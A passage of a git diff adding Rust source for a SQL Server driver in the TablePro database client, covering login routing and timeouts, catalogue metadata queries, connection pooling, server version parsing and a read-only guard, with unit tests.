+ loop { + match attempt(plan.config(&host, port), transport.clone()).await { + Ok(connected) => return Ok(connected), + Err(Attempted::Failed(error)) => return Err(error), + Err(Attempted::Routed { + host: routed_host, + port: routed_port, + }) => { + if rerouted { + return Err(DriverError::Protocol(format!( + "the server routed the login a second time, to {routed_host}:{routed_port}" + ))); + } + rerouted = true; + let endpoint = NetworkEndpoint::new(&routed_host, routed_port)?; + transport = transport.reroute(endpoint).await?; + host = routed_host; + port = routed_port; + } + } + } +} + +/// One login: a stream under the connect timeout, then the TDS handshake +/// under the login timeout. +async fn attempt(plan: &LoginPlan, config: Config, transport: Arc) -> Result { + let stream = match tokio::time::timeout(plan.connect_timeout, transport.open()).await { + Ok(Ok(stream)) => stream, + Ok(Err(error)) => return Err(Attempted::Failed(DriverError::Transport(error))), + Err(_) => { + return Err(Attempted::Failed(DriverError::Transport(TransportError::Timeout { + phase: TimeoutPhase::Connect, + }))); + } + }; + let tally = ReadTally::new(); + let io = TransportIo::new(stream, tally.clone()).compat_write(); + let connecting = connect(plan.integrated(), config, io); + match tokio::time::timeout(plan.login_timeout, connecting).await { + Ok(Ok(client)) => Ok(MssqlLink::new(client, tally)), + Ok(Err(Error::Routing { host, port })) => Err(Attempted::Routed { host, port }), + Ok(Err(error)) => Err(Attempted::Failed(plan.tls.login_error(error))), + Err(_) => Err(Attempted::Failed(DriverError::Timeout { + phase: TimeoutPhase::Login, + server_cancelled: false, + })), + } +} + +async fn connect(integrated: bool, config: Config, io: MssqlStream) -> Result { + #[cfg(feature = "kerberos")] + if integrated { + return connect_off_worker(config, io).await; + } + #[cfg(not(feature = "kerberos"))] + let _ = integrated; + // On the heap: the TLS handshake inside makes this future tens of + // kilobytes, and every caller up to the pool would hold a copy in its + // own state, which overflows a 2 MiB thread stack in a debug build. + Box::pin(Client::connect(config, io)).await +} + +/// MIT Kerberos runs as blocking FFI inside the login, which would hold +/// an async worker between polls and starve every other task on it, the +/// timers that bound this login included. The blocking pool is where a +/// blocking poll belongs. +#[cfg(feature = "kerberos")] +async fn connect_off_worker(config: Config, io: MssqlStream) -> Result { + let handle = tokio::runtime::Handle::current(); + match tokio::task::spawn_blocking(move || handle.block_on(Client::connect(config, io))).await { + Ok(connected) => connected, + Err(ended) => Err(Error::Protocol(format!("the Kerberos login stopped: {ended}").into())), + } +} + +#[cfg(test)] +mod tests { + use std::sync::Mutex; + + use async_trait::async_trait; + use tablepro_core::{TlsConfig, TransportKind, TransportRoute, TransportStream}; + + use super::*; + + #[derive(Debug)] + struct Recorded { + service: NetworkEndpoint, + reroutes: Arc>>, + } + + #[async_trait] + impl Transport for Recorded { + fn service_endpoint(&self) -> &NetworkEndpoint { + &self.service + } + + fn kind(&self) -> TransportKind { + TransportKind::DirectTcp + } + + fn route(&self) -> TransportRoute { + TransportRoute::Tcp(self.service.clone()) + } + + async fn open(&self) -> Result, TransportError> { + let (client, _server) = tokio::io::duplex(64); + Ok(Box::new(client)) + } + + async fn reroute(&self, endpoint: NetworkEndpoint) -> Result, TransportError> { + self.reroutes.lock().unwrap().push(endpoint.clone()); + Ok(Arc::new(Self { + service: endpoint, + reroutes: self.reroutes.clone(), + })) + } + + async fn explain_closed_stream(&self) -> Option { + None + } + } + + fn target(host: &str) -> (NetworkTarget, Arc>>) { + let reroutes = Arc::new(Mutex::new(Vec::new())); + let transport = Recorded { + service: NetworkEndpoint::new(host, 1433).unwrap(), + reroutes: reroutes.clone(), + }; + let target = NetworkTarget { + transport: Arc::new(transport), + credentials: Credentials::Password { + username: "sa".to_owned(), + password: SecretString::from("secret"), + }, + database: Some("sales".to_owned()), + tls: TlsConfig::verify_full(), + }; + (target, reroutes) + } + + fn plan(host: &str) -> (LoginPlan, Arc, Arc>>) { + let (target, reroutes) = target(host); + let plan = LoginPlan::new(&target, &LivenessPolicy::DESKTOP).unwrap(); + (plan, target.transport, reroutes) + } + + #[tokio::test] + async fn routing_followed_once_then_protocol_error() { + let (plan, transport, reroutes) = plan("listener.example"); + let configs = Mutex::new(Vec::new()); + + let outcome: Result<(), DriverError> = follow_routing(&plan, transport, |config, transport| { + configs + .lock() + .unwrap() + .push((config.get_addr(), transport.service_endpoint().clone())); + async { + Err(Attempted::Routed { + host: "replica.example".to_owned(), + port: 11000, + }) + } + }) + .await; + + assert!(matches!(outcome, Err(DriverError::Protocol(_))), "{outcome:?}"); + let configs = configs.into_inner().unwrap(); + assert_eq!(configs.len(), 2, "one reroute, then a refusal"); + assert_eq!(configs[0].0, "listener.example:1433"); + assert_eq!(configs[1].0, "replica.example:11000"); + assert_eq!(configs[1].1.host(), "replica.example"); + assert_eq!(reroutes.lock().unwrap().len(), 1); + } + + #[tokio::test] + async fn config_never_sets_readonly_and_uses_routed_host() { + let (plan, transport, _) = plan("listener.example"); + let configs = Mutex::new(Vec::new()); + let mut answers = vec![ + Ok(()), + Err(Attempted::Routed { + host: "replica.example".to_owned(), + port: 11000, + }), + ]; + + let outcome = follow_routing(&plan, transport, |config, _| { + configs.lock().unwrap().push(config); + let answer = answers.pop().unwrap_or(Ok(())); + async move { answer } + }) + .await; + + assert!(outcome.is_ok()); + let configs = configs.into_inner().unwrap(); + let routed = configs.last().unwrap(); + assert_eq!(routed.get_addr(), "replica.example:11000"); + for config in &configs { + let described = format!("{config:?}"); + assert!(described.contains("readonly: false"), "{described}"); + assert!( + described.contains("application_name: Some(\"TablePro\")"), + "{described}" + ); + assert!(described.contains("database: Some(\"sales\")"), "{described}"); + } + } + + #[test] + fn command_timeout_disabled() { + let (plan, _, _) = plan("db.example"); + let config = plan.config("db.example", 1433); + + assert_eq!(config.get_command_timeout(), None); + assert_eq!( + config.get_handshake_timeout(), + Some(LivenessPolicy::DESKTOP.login_timeout) + ); + } + + #[test] + fn the_local_shorthand_names_localhost() { + let (plan, _, _) = plan("db.example"); + + assert_eq!(plan.config(".", 1433).get_addr(), "localhost:1433"); + } + + #[test] + fn an_empty_database_name_selects_the_logins_default() { + let (mut target, _) = target("db.example"); + target.database = Some(String::new()); + let plan = LoginPlan::new(&target, &LivenessPolicy::DESKTOP).unwrap(); + + assert!(format!("{:?}", plan.config("db.example", 1433)).contains("database: None")); + } + + #[cfg(not(feature = "kerberos"))] + #[test] + fn kerberos_is_refused_when_built_without_the_feature() { + let (mut target, _) = target("db.example"); + target.credentials = Credentials::Integrated; + + assert!(matches!( + LoginPlan::new(&target, &LivenessPolicy::DESKTOP), + Err(DriverError::Config(tablepro_core::ConfigError::AuthModeUnsupported)) + )); + } + + #[cfg(feature = "kerberos")] + #[test] + fn kerberos_authenticates_from_the_ticket_cache() { + let (mut target, _) = target("db.example"); + target.credentials = Credentials::Integrated; + let plan = LoginPlan::new(&target, &LivenessPolicy::DESKTOP).unwrap(); + + assert!(plan.integrated()); + assert!(format!("{:?}", plan.config("db.example", 1433)).contains("auth: Integrated")); + } +} diff --git a/linux/crates/drivers/mssql/src/metadata.rs b/linux/crates/drivers/mssql/src/metadata.rs new file mode 100644 index 0000000000..989b10c3da --- /dev/null +++ b/linux/crates/drivers/mssql/src/metadata.rs @@ -0,0 +1,409 @@ +//! The catalogue queries behind the sidebar, browse and the structure +//! tab. Each names its table by `OBJECT_ID` of the bracket-quoted name, +//! which resolves an unqualified name in the login's default schema the +//! way the server does everywhere else. + +use tablepro_core::ddl::{ReferentialAction, TableDefinition}; +use tablepro_core::meta::{ + IndexInfo, IndexKey, ObjectInfo, ObjectKind, ObjectScope, RowCountEstimate, RowIdentity, SchemaInfo, TableEstimate, + TableRef, +}; +use tablepro_core::{ColumnInfo, DriverError, ForeignKeyInfo, Value}; + +use crate::catalog::{ + COLUMNS_SQL, Cells, INBOUND_FOREIGN_KEYS_SQL, MssqlColumnRow, PRIMARY_KEY_SQL, column_definition, column_info, + inbound_foreign_keys, primary_key, +}; +use crate::in_band_request::{Interrupt, Watch}; +use crate::physical::MssqlClient; +use crate::workspace_call::{catalogue_rows, text_param}; + +const SCHEMAS_SQL: &str = "SELECT s.name, \ + CAST(CASE WHEN s.schema_id = SCHEMA_ID() THEN 1 ELSE 0 END AS int), \ + CAST(CASE WHEN s.name IN ('sys', 'INFORMATION_SCHEMA', 'guest') OR s.schema_id >= 16384 \ + THEN 1 ELSE 0 END AS int) \ + FROM sys.schemas s ORDER BY s.name"; + +const OBJECTS_SQL: &str = "SELECT SCHEMA_NAME(o.schema_id), o.name, RTRIM(o.type) \ + FROM sys.objects o \ + WHERE o.type IN ('U', 'V', 'SO', 'FN', 'IF', 'TF', 'FS', 'FT', 'P', 'PC') AND o.is_ms_shipped = 0"; + +const INDEXES_SQL: &str = "SELECT i.name, CAST(i.is_unique AS int), CAST(i.is_primary_key AS int), c.name, \ + CAST(ic.is_descending_key AS int), i.filter_definition \ + FROM sys.indexes i \ + JOIN sys.index_columns ic ON ic.object_id = i.object_id AND ic.index_id = i.index_id \ + JOIN sys.columns c ON c.object_id = ic.object_id AND c.column_id = ic.column_id \ + WHERE i.object_id = OBJECT_ID(@P1) AND i.type > 0 AND ic.key_ordinal > 0 \ + ORDER BY i.index_id, ic.key_ordinal"; + +const FOREIGN_KEYS_SQL: &str = "SELECT fk.name, pc.name, SCHEMA_NAME(rt.schema_id), rt.name, rc.name, \ + fk.delete_referential_action_desc, fk.update_referential_action_desc \ + FROM sys.foreign_keys fk \ + JOIN sys.foreign_key_columns fkc ON fkc.constraint_object_id = fk.object_id \ + JOIN sys.columns pc ON pc.object_id = fkc.parent_object_id AND pc.column_id = fkc.parent_column_id \ + JOIN sys.objects rt ON rt.object_id = fk.referenced_object_id \ + JOIN sys.columns rc ON rc.object_id = fkc.referenced_object_id AND rc.column_id = fkc.referenced_column_id \ + WHERE fk.parent_object_id = OBJECT_ID(@P1) \ + ORDER BY fk.name, fkc.constraint_column_id"; + +/// The key that names a row: the primary key, else a unique index over +/// NOT NULL columns with no filter, which covers every row. +const IDENTITY_SQL: &str = "SELECT i.index_id, c.name \ + FROM sys.indexes i \ + JOIN sys.index_columns ic ON ic.object_id = i.object_id AND ic.index_id = i.index_id AND ic.key_ordinal > 0 \ + JOIN sys.columns c ON c.object_id = ic.object_id AND c.column_id = ic.column_id \ + WHERE i.object_id = OBJECT_ID(@P1) AND i.is_disabled = 0 AND i.type IN (1, 2) \ + AND (i.is_primary_key = 1 OR (i.is_unique = 1 AND i.has_filter = 0 AND NOT EXISTS ( \ + SELECT 1 FROM sys.index_columns nic \ + JOIN sys.columns nc ON nc.object_id = nic.object_id AND nc.column_id = nic.column_id \ + WHERE nic.object_id = i.object_id AND nic.index_id = i.index_id AND nic.key_ordinal > 0 \ + AND nc.is_nullable = 1))) \ + ORDER BY i.is_primary_key DESC, i.index_id, ic.key_ordinal"; + +/// The rows of the heap or the clustered index, which every partition +/// counts from the last statistics update. +const ESTIMATE_SQL: &str = "SELECT CAST(SUM(p.rows) AS bigint) \ + FROM sys.partitions p WHERE p.object_id = OBJECT_ID(@P1) AND p.index_id IN (0, 1)"; + +pub(crate) async fn list_schemas(client: &mut MssqlClient, watch: &Watch) -> Result, Interrupt> { + let rows = catalogue_rows(client, watch, SCHEMAS_SQL, &[]).await?; + rows.iter() + .map(|row| { + let cells = Cells::new(row, "sys.schemas"); + Ok(SchemaInfo { + name: cells.required_text(0)?, + is_default: cells.flag(1), + is_system: cells.flag(2), + }) + }) + .collect::>() + .map_err(Interrupt::Failed) +} + +pub(crate) async fn list_objects( + client: &mut MssqlClient, + watch: &Watch, + scope: &ObjectScope, +) -> Result, Interrupt> { + let (sql, params) = match scope { + ObjectScope::DefaultSchema => (format!("{OBJECTS_SQL} AND o.schema_id = SCHEMA_ID()"), Vec::new()), + ObjectScope::Schema(schema) => ( + format!("{OBJECTS_SQL} AND o.schema_id = SCHEMA_ID(@P1)"), + vec![text_param(schema)], + ), + ObjectScope::AllSchemas => (OBJECTS_SQL.to_owned(), Vec::new()), + }; + let sql = format!("{sql} ORDER BY 1, 2"); + let rows = catalogue_rows(client, watch, &sql, ¶ms).await?; + let mut objects = Vec::with_capacity(rows.len()); + for row in &rows { + let cells = Cells::new(row, "sys.objects"); + let Some(kind) = cells.text(2).as_deref().and_then(object_kind) else { + continue; + }; + objects.push(ObjectInfo { + schema: cells.text(0), + name: cells.required_text(1)?, + kind, + }); + } + Ok(objects) +} + +fn object_kind(code: &str) -> Option { + match code { + "U" => Some(ObjectKind::Table), + "V" => Some(ObjectKind::View), + "SO" => Some(ObjectKind::Sequence), + "FN" | "IF" | "TF" | "FS" | "FT" => Some(ObjectKind::Function), + "P" | "PC" => Some(ObjectKind::Procedure), + _ => None, + } +} + +async fn column_rows( + client: &mut MssqlClient, + watch: &Watch, + relation: &str, +) -> Result, Interrupt> { + let rows = catalogue_rows(client, watch, COLUMNS_SQL, &[text_param(relation)]).await?; + rows.iter() + .map(|row| MssqlColumnRow::from_values(row)) + .collect::>() + .map_err(Interrupt::Failed) +} + +pub(crate) async fn fetch_columns( + client: &mut MssqlClient, + watch: &Watch, + relation: &str, +) -> Result, Interrupt> { + Ok(column_rows(client, watch, relation) + .await? + .iter() + .map(column_info) + .collect()) +} + +pub(crate) async fn fetch_indexes( + client: &mut MssqlClient, + watch: &Watch, + relation: &str, +) -> Result, Interrupt> { + let rows = catalogue_rows(client, watch, INDEXES_SQL, &[text_param(relation)]).await?; + Ok(indexes(&rows)?) +} + +fn indexes(rows: &[Vec]) -> Result, DriverError> { + let mut indexes: Vec = Vec::new(); + for row in rows { + let cells = Cells::new(row, "sys.indexes"); + let name = cells.required_text(0)?; + let key = IndexKey::Column { + name: cells.required_text(3)?, + descending: cells.flag(4), + }; + match indexes.last_mut() { + Some(index) if index.name == name => index.keys.push(key), + _ => indexes.push(IndexInfo { + name, + keys: vec![key], + unique: cells.flag(1), + primary: cells.flag(2), + predicate: cells.text(5), + }), + } + } + Ok(indexes) +} + +pub(crate) async fn fetch_foreign_keys( + client: &mut MssqlClient, + watch: &Watch, + relation: &str, +) -> Result, Interrupt> { + let rows = catalogue_rows(client, watch, FOREIGN_KEYS_SQL, &[text_param(relation)]).await?; + Ok(foreign_keys(&rows)?) +} + +fn foreign_keys(rows: &[Vec]) -> Result, DriverError> { + let mut keys: Vec = Vec::new(); + for row in rows { + let cells = Cells::new(row, "sys.foreign_keys"); + let name = cells.required_text(0)?; + let column = cells.required_text(1)?; + let referenced = cells.required_text(4)?; + match keys.last_mut() { + Some(key) if key.name == name => { + key.columns.push(column); + key.ref_columns.push(referenced); + } + _ => keys.push(ForeignKeyInfo { + name, + columns: vec![column], + ref_schema: cells.text(2), + ref_table: cells.required_text(3)?, + ref_columns: vec![referenced], + on_delete: cells.text(5).as_deref().and_then(referential_action), + on_update: cells.text(6).as_deref().and_then(referential_action), + }), + } + } + Ok(keys) +} + +/// `sys.foreign_keys` spells each action as its `_desc` text. +fn referential_action(description: &str) -> Option { + match description { + "NO_ACTION" => Some(ReferentialAction::NoAction), + "CASCADE" => Some(ReferentialAction::Cascade), + "SET_NULL" => Some(ReferentialAction::SetNull), + "SET_DEFAULT" => Some(ReferentialAction::SetDefault), + _ => None, + } +} + +pub(crate) async fn row_identity( + client: &mut MssqlClient, + watch: &Watch, + relation: &str, +) -> Result { + let rows = catalogue_rows(client, watch, IDENTITY_SQL, &[text_param(relation)]).await?; + Ok(identity(&rows)?) +} + +/// The first key's columns. SQL Server has no row address a later +/// statement could name again, so a table without such a key cannot +/// have its rows edited. +fn identity(rows: &[Vec]) -> Result { + let mut columns = Vec::new(); + let mut chosen = None; + for row in rows { + let cells = Cells::new(row, "sys.indexes"); + let index = cells.int(0); + if chosen.is_some_and(|chosen| Some(chosen) != index) { + break; + } + chosen = index; + columns.push(cells.required_text(1)?); + } + Ok(match columns.is_empty() { + true => RowIdentity::Unordered, + false => RowIdentity::UniqueKey { columns }, + }) +} + +pub(crate) async fn table_estimate( + client: &mut MssqlClient, + watch: &Watch, + relation: &str, +) -> Result { + let rows = catalogue_rows(client, watch, ESTIMATE_SQL, &[text_param(relation)]).await?; + let counted = rows.first().and_then(|row| Cells::new(row, "sys.partitions").int(0)); + Ok(TableEstimate { + rows: match counted.and_then(|rows| u64::try_from(rows).ok()) { + Some(rows) => RowCountEstimate::Approximate(rows), + None => RowCountEstimate::Unknown, + }, + heap_blocks: None, + }) +} + +/// The table as a structure change plans against it, read in one call +/// on one connection. +pub(crate) async fn fetch_table_definition( + client: &mut MssqlClient, + watch: &Watch, + table: &TableRef, + relation: &str, +) -> Result { + let columns = column_rows(client, watch, relation).await?; + let primary = catalogue_rows(client, watch, PRIMARY_KEY_SQL, &[text_param(relation)]).await?; + let indexes = fetch_indexes(client, watch, relation).await?; + let foreign_keys = fetch_foreign_keys(client, watch, relation).await?; + let inbound = catalogue_rows(client, watch, INBOUND_FOREIGN_KEYS_SQL, &[text_param(relation)]).await?; + Ok(TableDefinition { + table: table.clone(), + columns: columns.iter().map(column_definition).collect(), + primary_key: primary_key(&primary)?, + indexes, + foreign_keys, + inbound_foreign_keys: inbound_foreign_keys(&inbound)?, + source: None, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn text(value: &str) -> Value { + Value::Text(value.to_owned()) + } + + #[test] + fn referential_actions_map_to_keywords() { + assert_eq!(referential_action("CASCADE"), Some(ReferentialAction::Cascade)); + assert_eq!(referential_action("SET_NULL"), Some(ReferentialAction::SetNull)); + assert_eq!(referential_action("SET_DEFAULT"), Some(ReferentialAction::SetDefault)); + assert_eq!(referential_action("NO_ACTION"), Some(ReferentialAction::NoAction)); + assert_eq!(referential_action("?"), None); + } + + #[test] + fn object_codes_map_to_kinds() { + assert_eq!(object_kind("U"), Some(ObjectKind::Table)); + assert_eq!(object_kind("SO"), Some(ObjectKind::Sequence)); + assert_eq!(object_kind("IF"), Some(ObjectKind::Function)); + assert_eq!(object_kind("PC"), Some(ObjectKind::Procedure)); + assert_eq!(object_kind("TR"), None); + } + + #[test] + fn index_rows_group_into_keys_with_direction_and_filter() { + let rows = vec![ + vec![ + text("IX_a"), + Value::Int(1), + Value::Int(0), + text("a"), + Value::Int(0), + text("([a]>(0))"), + ], + vec![ + text("IX_a"), + Value::Int(1), + Value::Int(0), + text("b"), + Value::Int(1), + text("([a]>(0))"), + ], + vec![ + text("PK_t"), + Value::Int(1), + Value::Int(1), + text("id"), + Value::Int(0), + Value::Null, + ], + ]; + + let indexes = indexes(&rows).unwrap(); + + assert_eq!(indexes.len(), 2); + assert_eq!(indexes[0].keys.len(), 2); + assert!(indexes[0].keys[1].descending()); + assert_eq!(indexes[0].predicate.as_deref(), Some("([a]>(0))")); + assert!(!indexes[0].can_identify_rows()); + assert!(indexes[1].primary && indexes[1].can_identify_rows()); + } + + #[test] + fn the_first_key_names_the_row() { + let rows = vec![ + vec![Value::Int(1), text("tenant")], + vec![Value::Int(1), text("id")], + vec![Value::Int(3), text("email")], + ]; + + assert_eq!( + identity(&rows).unwrap(), + RowIdentity::UniqueKey { + columns: vec!["tenant".to_owned(), "id".to_owned()] + } + ); + assert_eq!(identity(&[]).unwrap(), RowIdentity::Unordered); + } + + #[test] + fn foreign_key_rows_group_by_constraint() { + let rows = vec![ + vec![ + text("FK_l_o"), + text("order_id"), + text("dbo"), + text("orders"), + text("id"), + text("CASCADE"), + text("NO_ACTION"), + ], + vec![ + text("FK_l_o"), + text("tenant"), + text("dbo"), + text("orders"), + text("tenant"), + text("CASCADE"), + text("NO_ACTION"), + ], + ]; + + let keys = foreign_keys(&rows).unwrap(); + + assert_eq!(keys.len(), 1); + assert_eq!(keys[0].columns, ["order_id", "tenant"]); + assert_eq!(keys[0].ref_columns, ["id", "tenant"]); + assert_eq!(keys[0].on_delete, Some(ReferentialAction::Cascade)); + assert!(keys[0].references(Some("dbo"), "orders")); + } +} diff --git a/linux/crates/drivers/mssql/src/mssql_manager.rs b/linux/crates/drivers/mssql/src/mssql_manager.rs new file mode 100644 index 0000000000..d81a7cb927 --- /dev/null +++ b/linux/crates/drivers/mssql/src/mssql_manager.rs @@ -0,0 +1,87 @@ +use std::sync::Arc; +use std::time::Duration; + +use deadpool::Runtime; +use deadpool::managed::{Manager, Metrics, Pool, RecycleError, RecycleResult, Timeouts}; +use tablepro_core::{DriverError, LivenessPolicy}; +use tokio_util::sync::CancellationToken; + +use crate::endpoint::MssqlEndpoint; +use crate::physical::MssqlLink; + +/// The workspace pool's size. Exported so the conformance suite proves +/// saturation against the driver's own number. +pub const WORKSPACE_POOL_MAX_SIZE: usize = 4; + +pub(crate) type MssqlPool = Pool; + +/// deadpool's manager for workspace connections, on the documented +/// trait: no maintained manager exists for tiberius. +pub(crate) struct MssqlManager { + endpoint: Arc, +} + +impl Manager for MssqlManager { + type Type = MssqlLink; + type Error = DriverError; + + async fn create(&self) -> Result { + self.endpoint.open_workspace(&CancellationToken::new()).await + } + + /// A connection goes back into use only with no transaction open. + /// One whose call did not end cleanly never gets here: the call + /// takes it out of the pool itself. + async fn recycle(&self, link: &mut MssqlLink, _: &Metrics) -> RecycleResult { + match link.transaction_count().await { + Ok(0) => Ok(()), + Ok(open) => Err(RecycleError::message(format!("{open} transactions were left open"))), + Err(error) => Err(RecycleError::Backend(error)), + } + } +} + +pub(crate) fn build_pool(endpoint: Arc) -> Result { + let timeouts = workspace_timeouts(endpoint.liveness()); + Pool::builder(MssqlManager { endpoint }) + .max_size(WORKSPACE_POOL_MAX_SIZE) + .wait_timeout(timeouts.wait) + .create_timeout(timeouts.create) + .recycle_timeout(timeouts.recycle) + .runtime(Runtime::Tokio1) + .build() + .map_err(|error| DriverError::Protocol(error.to_string())) +} + +pub(crate) fn workspace_timeouts(liveness: &LivenessPolicy) -> Timeouts { + Timeouts { + wait: Some(liveness.pool_wait), + create: Some(liveness.connect_timeout + liveness.login_timeout), + recycle: Some(liveness.probe_timeout), + } +} + +/// The probe never waits for a slot: a busy pool is not a dead server. +pub(crate) fn probe_timeouts(liveness: &LivenessPolicy) -> Timeouts { + Timeouts { + wait: Some(Duration::ZERO), + ..workspace_timeouts(liveness) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_probe_never_waits_for_a_slot() { + let timeouts = probe_timeouts(&LivenessPolicy::DESKTOP); + + assert_eq!(timeouts.wait, Some(Duration::ZERO)); + assert_eq!( + workspace_timeouts(&LivenessPolicy::DESKTOP).wait, + Some(LivenessPolicy::DESKTOP.pool_wait) + ); + assert_eq!(timeouts.recycle, Some(LivenessPolicy::DESKTOP.probe_timeout)); + } +} diff --git a/linux/crates/drivers/mssql/src/mssql_pooled.rs b/linux/crates/drivers/mssql/src/mssql_pooled.rs new file mode 100644 index 0000000000..99eca83ee4 --- /dev/null +++ b/linux/crates/drivers/mssql/src/mssql_pooled.rs @@ -0,0 +1,121 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use deadpool::managed::{Object, Timeouts}; +use tablepro_core::{CallResource, DriverError, StopRequest}; + +use crate::cancel::{MssqlStop, unconfirmed_stop}; +use crate::errors::map_pool_error; +use crate::in_band_request::{StopPolicy, Watch, conclude}; +use crate::mssql_manager::{MssqlManager, MssqlPool}; +use crate::physical::MssqlLink; +use crate::workspace_call::ReadOp; + +/// The pooled connection one workspace call runs on. +/// +/// It starts empty and is filled inside the call, so the call's deadline +/// and cancel cover the wait for a slot too. A connection whose request +/// did not end cleanly is taken out of the pool instead of returned. +pub(crate) struct MssqlPooled { + object: Option>, + abandon: Arc, +} + +impl MssqlPooled { + pub(crate) fn new() -> Self { + Self { + object: None, + abandon: Arc::new(AtomicBool::new(false)), + } + } + + /// Take a slot from the pool, giving up as soon as the call is + /// stopped. + pub(crate) async fn acquire( + &mut self, + pool: &MssqlPool, + timeouts: &Timeouts, + request: &StopRequest, + ) -> Result<(), DriverError> { + let object = tokio::select! { + biased; + () = request.requested() => return Err(unconfirmed_stop(request)), + object = pool.timeout_get(timeouts) => object.map_err(map_pool_error)?, + }; + self.object = Some(object); + Ok(()) + } + + pub(crate) fn link(&mut self) -> Result<&mut MssqlLink, DriverError> { + self.object + .as_deref_mut() + .ok_or_else(|| DriverError::Protocol("the call holds no connection".to_owned())) + } + + /// Run one read on the held connection and settle it, however it + /// ended. + pub(crate) async fn read( + &mut self, + request: &StopRequest, + policy: StopPolicy, + stop: &MssqlStop, + op: ReadOp, + ) -> Result { + let link = self.link()?; + let watch = Watch::new(request.clone(), link.tally(), policy); + let outcome = op(&mut link.client, &watch).await; + let concluded = conclude(&mut link.client, &watch, outcome, stop, true).await; + if !concluded.reusable { + self.taint(); + } + concluded.result + } + + /// Ask the held connection one trivial question. A probe cut off by + /// its deadline leaves the question on the wire, so the connection + /// counts as abandoned until the answer is in. + pub(crate) async fn ping(&mut self) -> Result<(), DriverError> { + self.abandon.store(true, Ordering::SeqCst); + self.link()?.batch("SELECT 1").await?; + self.abandon.store(false, Ordering::SeqCst); + Ok(()) + } + + /// Hold a connection taken from the pool outside a call. + pub(crate) fn hold(object: Object) -> Self { + Self { + object: Some(object), + abandon: Arc::new(AtomicBool::new(false)), + } + } + + /// The connection may be inside a transaction or a response, so it + /// must not go back into the pool. + pub(crate) fn taint(&self) { + self.abandon.store(true, Ordering::SeqCst); + } + + fn take(&mut self) { + if let Some(object) = self.object.take() { + drop(Object::take(object)); + } + } +} + +impl CallResource for MssqlPooled { + fn abandon_flag(&self) -> Arc { + self.abandon.clone() + } + + fn discard(mut self) { + self.take(); + } +} + +impl Drop for MssqlPooled { + fn drop(&mut self) { + if self.abandon.load(Ordering::SeqCst) { + self.take(); + } + } +} diff --git a/linux/crates/drivers/mssql/src/physical.rs b/linux/crates/drivers/mssql/src/physical.rs new file mode 100644 index 0000000000..f93c227615 --- /dev/null +++ b/linux/crates/drivers/mssql/src/physical.rs @@ -0,0 +1,92 @@ +use tablepro_core::{DriverError, ServerInfo}; +use tiberius::Client; +use tokio_util::compat::Compat; + +use crate::errors::map_error; +use crate::transport_io::{ReadTally, TransportIo}; + +/// The stream tiberius drives: a transport stream behind the futures-io +/// traits tiberius is written against. +pub(crate) type MssqlStream = Compat; + +pub(crate) type MssqlClient = Client; + +/// One logged-in connection, and the count of what its server has sent. +pub(crate) struct MssqlLink { + pub(crate) client: MssqlClient, + tally: ReadTally, +} + +impl MssqlLink { + pub(crate) fn new(client: MssqlClient, tally: ReadTally) -> Self { + Self { client, tally } + } + + pub(crate) fn tally(&self) -> ReadTally { + self.tally.clone() + } + + /// Run a batch of the driver's own whose results nobody reads. Every + /// token is consumed, so the next request starts on a clean wire. + pub(crate) async fn batch(&mut self, sql: &str) -> Result<(), DriverError> { + let stream = self.client.simple_query(sql).await.map_err(map_error)?; + stream.into_results().await.map_err(map_error)?; + Ok(()) + } + + /// The open transactions on this connection. + pub(crate) async fn transaction_count(&mut self) -> Result { + let stream = self + .client + .simple_query("SELECT CAST(@@TRANCOUNT AS bigint)") + .await + .map_err(map_error)?; + let row = stream.into_row().await.map_err(map_error)?; + let count = match &row { + Some(row) => row.try_get::(0).map_err(map_error)?, + None => None, + }; + count.ok_or_else(|| DriverError::Protocol("@@TRANCOUNT returned no value".to_owned())) + } +} + +/// What the server says it is, read once at connect. +pub(crate) async fn server_info(link: &mut MssqlLink) -> Result { + let stream = link + .client + .simple_query("SELECT CAST(SERVERPROPERTY('ProductVersion') AS nvarchar(128))") + .await + .map_err(map_error)?; + let row = stream.into_row().await.map_err(map_error)?; + let version = match &row { + Some(row) => row.try_get::<&str, _>(0).map_err(map_error)?.map(str::to_owned), + None => None, + } + .ok_or_else(|| DriverError::Protocol("the server did not report ProductVersion".to_owned()))?; + let (major, minor, build) = split_version(&version) + .ok_or_else(|| DriverError::Protocol(format!("the server reported version {version}")))?; + Ok(ServerInfo::new("SQL Server", version, major, minor, build)) +} + +/// `ProductVersion` reads `16.0.4135.4`: major, minor, build, revision. +fn split_version(version: &str) -> Option<(u32, u32, u32)> { + let mut parts = version.trim().split('.'); + let major = parts.next()?.parse().ok()?; + let minor = parts.next().map_or(Some(0), |minor| minor.parse().ok())?; + let build = parts.next().map_or(Some(0), |build| build.parse().ok())?; + Some((major, minor, build)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn product_versions_split_into_major_minor_and_build() { + assert_eq!(split_version("16.0.4135.4"), Some((16, 0, 4135))); + assert_eq!(split_version("15.0.2000.5"), Some((15, 0, 2000))); + assert_eq!(split_version("12"), Some((12, 0, 0))); + assert_eq!(split_version("Microsoft"), None); + assert_eq!(split_version(""), None); + } +} diff --git a/linux/crates/drivers/mssql/src/read_only_guard.rs b/linux/crates/drivers/mssql/src/read_only_guard.rs new file mode 100644 index 0000000000..d84ea4c32f --- /dev/null +++ b/linux/crates/drivers/mssql/src/read_only_guard.rs @@ -0,0 +1,133 @@ +//! Keeping reads on a read-only connection from writing. +//! +//! SQL Server has no read-only session or transaction, so the login's +//! own permissions are the guarantee the connect dialog states. These +//! are defence in depth against accidents: a write that reaches a +//! guarded read is rolled back, and an export refuses SQL that is not a +//! plain read before sending it. + +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan, ScriptTokenKind}; +use tablepro_core::{DriverError, ReadOnlyRefusal}; + +use crate::errors::tds_number; + +/// The words that make a statement a write, or let it run one. +const WRITE_WORDS: [&str; 18] = [ + "INSERT", "UPDATE", "DELETE", "MERGE", "INTO", "EXEC", "EXECUTE", "CREATE", "ALTER", "DROP", "TRUNCATE", "GRANT", + "REVOKE", "DENY", "BEGIN", "COMMIT", "ROLLBACK", "SAVE", +]; + +/// Run `sql` inside a transaction that is always rolled back. The line +/// breaks keep a trailing line comment from swallowing the ROLLBACK. +pub(crate) fn wrap(sql: &str) -> String { + format!("BEGIN TRANSACTION;\n{sql}\n;\nROLLBACK TRANSACTION;") 